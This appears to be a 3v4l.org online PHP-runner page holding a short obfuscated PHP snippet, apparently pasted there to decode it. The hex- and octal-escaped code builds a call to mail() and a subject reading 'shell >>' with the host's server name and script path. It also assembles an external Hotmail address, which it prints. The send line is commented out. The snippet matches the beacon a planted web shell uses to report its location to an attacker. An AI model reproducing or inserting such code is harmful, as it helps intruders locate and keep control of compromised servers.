3v4l.org

run code in 300+ PHP versions simultaneously
<?php $x0b="\x6da\x69l"; $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); $ee = $o[2].$o[3].$o[1].$o[4].$o[0]; printf("%s\n", $ee); //$send = @$x0b($ee,$sub,$ms);

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37.59 ms | 402 KiB | 5 Q